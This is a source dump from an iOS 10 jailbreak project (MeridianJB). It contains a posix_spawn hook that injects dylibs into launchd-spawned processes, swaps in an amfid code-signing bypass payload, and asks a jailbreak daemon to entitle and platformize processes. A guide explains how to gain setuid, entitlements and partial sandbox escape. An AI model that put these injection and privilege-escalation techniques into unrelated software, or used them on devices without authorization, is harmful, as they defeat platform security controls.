__Request__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; } __Request__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Request__jailbreak_daemon_subsystem__defined */ /* union of all requests */ #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined union __RequestUnion__jbd_jailbreak_daemon_subsystem { __Request__call_t Request_jbd_call; }; #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ /* typedefs for all replies */ #ifndef __Reply__jailbreak_daemon_subsystem__defined #define __Reply__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } __Reply__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Reply__jailbreak_daemon_subsystem__defined */ /* union of all replies */ #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined union __ReplyUnion__jbd_jailbreak_daemon_subsystem { __Reply__call_t Reply_jbd_call; }; #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ #ifndef subsystem_to_name_map_jailbreak_daemon #define subsystem_to_name_map_jailbreak_daemon \ { "call", 500 } #endif #ifdef __AfterMigUserHeader __AfterMigUserHeader #endif /* __AfterMigUserHeader */ #endif /* _jailbreak_daemon_user_ */ ================================================ FILE: Meridian/pspawn_hook/pspawn_hook.m ================================================ #import #include #include #include #include "fishhook.h" #include "jailbreak_daemonUser.h" #define LAUNCHD_LOG_PATH "/var/log/pspawn_hook_launchd.log" #define XPCPROXY_LOG_PATH "/var/log/pspawn_hook_xpcproxy.log" #define OTHER_LOG_PATH "/var/log/pspawn_hook_other.log" FILE *log_file; #define DEBUGLOG(fmt, args...) \ do { \ if (log_file == NULL) { \ const char *log_path; \ if (current_process == PROCESS_LAUNCHD) { \ log_path = LAUNCHD_LOG_PATH; \ } else if (current_process == PROCESS_XPCPROXY) { \ log_path = XPCPROXY_LOG_PATH; \ } else if (current_process == PROCESS_OTHER) { \ log_path = OTHER_LOG_PATH; \ } \ log_file = fopen(log_path, "a"); \ if (log_file == NULL) break; \ } \ time_t seconds = time(NULL); \ char *time = ctime(&seconds); \ fprintf(log_file, "[%.*s] ", (int)strlen(time) - 1, time); \ fprintf(log_file, fmt "\n", ##args); \ fflush(log_file); \ } while(0); #define PROC_PIDPATHINFO_MAXSIZE (4 * MAXPATHLEN) int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize); #define JAILBREAKD_COMMAND_ENTITLE 1 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3 #define JAILBREAKD_COMMAND_FIXUP_SETUID 4 #define FLAG_PLATFORMIZE (1 << 1) enum CurrentProcess { PROCESS_LAUNCHD, PROCESS_XPCPROXY, PROCESS_OTHER }; int current_process = PROCESS_OTHER; kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port); mach_port_t jbd_port; dispatch_queue_t queue = NULL; #define DYLD_INSERT "DYLD_INSERT_LIBRARIES=" #define MAX_INJECT 1 #define PSPAWN_HOOK_DYLIB "/usr/lib/pspawn_hook.dylib" #define TWEAKLOADER_DYLIB "/usr/lib/TweakLoader.dylib" #define LIBJAILBREAK_DYLIB "/usr/lib/libjailbreak.dylib" #define AMFID_PAYLOAD_DYLIB "/meridian/amfid_payload.dylib" const char *xpcproxy_blacklist[] = { "com.apple.diagnosticd", // syslog "MTLCompilerService", "com.apple.notifyd", // fuck this daemon and everything it stands for "OTAPKIAssetTool", "FileProvider", // seems to crash from oosb r/w etc "jailbreakd", // gotta call to this "dropbear", "cfprefsd", NULL }; bool is_blacklisted(const char *proc) { const char **blacklist = xpcproxy_blacklist; while (*blacklist) { if (strstr(proc, *blacklist)) { return true; } blacklist++; } return false; } typedef int (*pspawn_t)(pid_t *pid, const char *path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char *argv[], const char *envp[]); pspawn_t old_pspawn, old_pspawnp; int fake_posix_spawn_common(pid_t *pid, const char *path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char *argv[], const char *envp[], pspawn_t old) { int retval = -1, ret = 0, ninject = 0; const char *inject[MAX_INJECT] = { NULL }; pid_t child = 0; char **newenvp = NULL; char *insert_str = NULL; posix_spawnattr_t attr; if (!path || !argv || !envp) { DEBUGLOG("got some bullshit args: %p, %p, %p", path, argv, envp); goto out; } if (argv[1]) { DEBUGLOG("fake_posix_spawn_common: %s (arg1: %s)", path, argv[1]); } else { DEBUGLOG("fake_posix_spawn_common: %s", path); } switch (current_process) { case PROCESS_LAUNCHD: if (strcmp(path, "/usr/libexec/xpcproxy") == 0 && argv[0] && argv[1] && !is_blacklisted(path) && !is_blacklisted(argv[1])) { inject[ninject++] = PSPAWN_HOOK_DYLIB; } break; case PROCESS_XPCPROXY: if (strcmp(path, "/usr/libexec/amfid") == 0) { inject[ninject++] = AMFID_PAYLOAD_DYLIB; break; } if (access(TWEAKLOADER_DYLIB, F_OK) == 0) { inject[ninject++] = TWEAKLOADER_DYLIB; } break; } if (ninject > MAX_INJECT) { DEBUGLOG("too much inject, yo! (%d)", ninject); goto out; } DEBUGLOG("Inject count: %d", ninject); if (ninject > 0) { if (!attrp) { ret = posix_spawnattr_init(&attr); if (ret != 0) { DEBUGLOG("posix_spawnattr_init: %s", strerror(ret)); goto out; } attrp = &attr; } short flags; ret = posix_spawnattr_getflags(attrp, &flags); if (ret != 0) { DEBUGLOG("posix_spawnattr_getflags: %s", strerror(ret)); goto out; } ret = posix_spawnattr_setflags(attrp, flags | POSIX_SPAWN_START_SUSPENDED); if (ret != 0) { DEBUGLOG("posix_spawnattr_setflags: %s", strerror(ret)); goto out; } DEBUGLOG("Env:"); size_t nenv = 0; const char *insert = NULL; for (const char **ptr = envp; *ptr != NULL; ++ptr, ++nenv) { DEBUGLOG("\t%s", *ptr); if (strncmp(*ptr, DYLD_INSERT, strlen(DYLD_INSERT)) == 0) { insert = *ptr; } } ++nenv; // NULL if (!insert) ++nenv; newenvp = malloc(nenv * sizeof(*newenvp)); if (!newenvp) { DEBUGLOG("malloc newenvp failed"); goto out; } size_t slen = (insert ? strlen(insert) + 1 : strlen(DYLD_INSERT)) + strlen(inject[0]) + 1; for (size_t i = 1; i < ninject; i++) { slen += strlen(inject[i]) + 1; } insert_str = malloc(slen); if (!insert_str) { DEBUGLOG("malloc insert_str failed"); goto out; } insert_str[0] = '\0'; size_t start = 0; if (insert) { strcat(insert_str, insert); start = 0; } else { strcat(insert_str, DYLD_INSERT); strcat(insert_str, inject[0]); start = 1; } for (size_t i = start; i < ninject; i++) { strcat(insert_str, ":"); strcat(insert_str, inject[i]); } nenv = 0; newenvp[nenv++] = insert_str; for (const char **ptr = envp; *ptr != NULL; ++ptr) { if (*ptr != insert) { newenvp[nenv++] = (char *)*ptr; } } newenvp[nenv++] = NULL; envp = (const char **)newenvp; DEBUGLOG("New Env:"); for (const char **ptr = envp; *ptr != NULL; ++ptr) { DEBUGLOG("\t%s", *ptr); } if (current_process == PROCESS_XPCPROXY) { pid_t ourpid = getpid(); kern_return_t ret = jbd_call(jbd_port, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY, ourpid); if (ret != KERN_SUCCESS) { DEBUGLOG("jbd_call(xpcproxy, %d): %x (%s)", ourpid, ret, mach_error_string(ret)); } } } // Note: xpcproxy won't return from this call ret = old(&child, path, file_actions, attrp, argv, envp); if (ret != 0) { DEBUGLOG("posix_spawn: %s", strerror(ret)); retval = ret; goto out; } DEBUGLOG("Spawned with pid: %d", child); if (pid) { *pid = child; } dispatch_async(queue, ^{ kern_return_t ret = jbd_call(jbd_port, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT, child); if (ret != KERN_SUCCESS) { DEBUGLOG("jbd_call(launchd, %d): %x (%s)", child, ret, mach_error_string(ret)); } }); retval = 0; out:; if (newenvp != NULL) free(newenvp); if (insert_str != NULL) free(insert_str); if (attrp == &attr) posix_spawnattr_destroy(&attr); return retval; } int fake_posix_spawn(pid_t *pid, const char *file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char *argv[], const char *envp[]) { return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawn); } int fake_posix_spawnp(pid_t *pid, const char *file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char *argv[], const char *envp[]) { return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawnp); } void rebind_pspawns(void) { struct rebinding rebindings[] = { { "posix_spawn", (void *)fake_posix_spawn, (void **)&old_pspawn }, { "posix_spawnp", (void *)fake_posix_spawnp, (void **)&old_pspawnp } }; rebind_symbols(rebindings, 2); } __attribute__ ((constructor)) static void ctor(void) { queue = dispatch_queue_create("pspawn.queue", NULL); char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; bzero(pathbuf, sizeof(pathbuf)); proc_pidpath(getpid(), pathbuf, sizeof(pathbuf)); if (getpid() == 1) { current_process = PROCESS_LAUNCHD; } else if (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0) { current_process = PROCESS_XPCPROXY; } else { current_process = PROCESS_OTHER; } DEBUGLOG("========================"); DEBUGLOG("hello from pid %d", getpid()); DEBUGLOG("my path: %s", pathbuf); if (current_process == PROCESS_LAUNCHD) { if (host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 15, &jbd_port)) { DEBUGLOG("can't get hsp15 :("); return; } if (!MACH_PORT_VALID(jbd_port)) { DEBUGLOG("failed to get jbd port!! ret: %x", jbd_port); return; } DEBUGLOG("got jbd port: %x", jbd_port); rebind_pspawns(); return; } if (bootstrap_look_up(bootstrap_port, "zone.sparkes.jailbreakd", &jbd_port)) { DEBUGLOG("Can't get bootstrap port :("); return; } if (!MACH_PORT_VALID(jbd_port)) { DEBUGLOG("failed to get jbd port!! ret: %x", jbd_port); return; } DEBUGLOG("got jbd port: %x", jbd_port); // pspawn is usually only ever injected into either launchd, // or xpcproxy. this is here in case you want to manually inject it into // another process, in order to have it call to jbd. consider this // testing-only. // example (in shell): "> DYLD_INSERT_LIBRARIES=/usr/lib/pspawn_hook.dylib binary" // this will have call to jbd in order to platformize if (current_process == PROCESS_OTHER) { if (access(LIBJAILBREAK_DYLIB, F_OK) != 0) { printf("[!] " LIBJAILBREAK_DYLIB " was not found!\n"); return; } void *handle = dlopen(LIBJAILBREAK_DYLIB, RTLD_LAZY); if (handle == NULL) { printf("[!] Failed to open libjailbreak.dylib: %s\n", dlerror()); return; } typedef int (*entitle_t)(pid_t pid, uint32_t flags); entitle_t entitle_ptr = (entitle_t)dlsym(handle, "jb_oneshot_entitle_now"); entitle_ptr(getpid(), FLAG_PLATFORMIZE); printf("[!] Platformized.\n"); return; } rebind_pspawns(); } ================================================ FILE: README.md ================================================ # MeridianJB An iOS 10.x Jailbreak for all 64-bit devices. Website: https://meridian.sparkes.zone All credits can be found on the website. Thanks to everyone who helped. Feel free to create a PR if you believe there is area for improvement - it's not perfect I know. ## Building Clone repo, open Xcode project, target your device (or generic), and **make sure ldid is in $PATH**. /usr/local/bin, /usr/bin, /bin, ~/bin, whatever, make sure it's present. You'll also need tar, but I'd like to assume everyone has that already ;) ================================================ FILE: Working_with_libjailbreak.md ================================================ ## Working with Meridian & libjailbreak If your binary to tweak requires setuid0, or other entitlements/empowerments, you may need to make calls to Jailbreakd, which handles entitling of processes. This can be done via libjailbreak, a library bundled by default with Meridian. ### What do these empowerments include? - Fixing setuid - Modifying csflags - Adding get-task-allow and skip-library-validation entitlements in the MACF label - Breaking out of some sandbox restrictions - Marking your binary as a 'platform binary' ### Usage libjailbreak implements 2 calls which can be used to achieve this: - `void jb_oneshot_fix_setuid_now(pid_t pid)` - for fixing setuid - `void jb_oneshot_entitle_now(pid_t pid)` - for entitling The pid (process ID) provided to each call can be your own, or can be that of another process. Protip: you can find your own PID using the `getpid()` function. **Note:** for the setuid call to work properly, your binary (or the process you're entitlting) must have the setuid flag set. You can set this with `chmod +s `. ### Examples ```c void call_libjailbreak() { // open a handle to libjailbreak void *handle = dlopen("/usr/lib/libjailbreak.dylib", RTLD_LAZY); if (!handle) { printf("Err: %s \n", dlerror()); printf("unable to find libjailbreak.dylib \n"); return; } typedef void (*libjb_call_ptr_t)(pid_t pid); // grab pointers to the functions we want to call libjb_call_ptr_t setuid_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_fix_setuid_now"); libjb_call_ptr_t entitle_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_entitle_now"); // check for any errors const char *dlsym_error = dlerror(); if (dlsym_error) { printf("encountered dlsym error: %s \n", dlsym_error); return; } // call them! setuid_ptr(getpid()); entitle_ptr(getpid()); } ``` **Note:** libjailbreak calls are blocking, and code execution will not return until jailbreakd has fully processed your requests. You can see a live action example of this in our cydo binary, here: https://github.com/MidnightTeam/cydo/blob/master/cydo.c#L6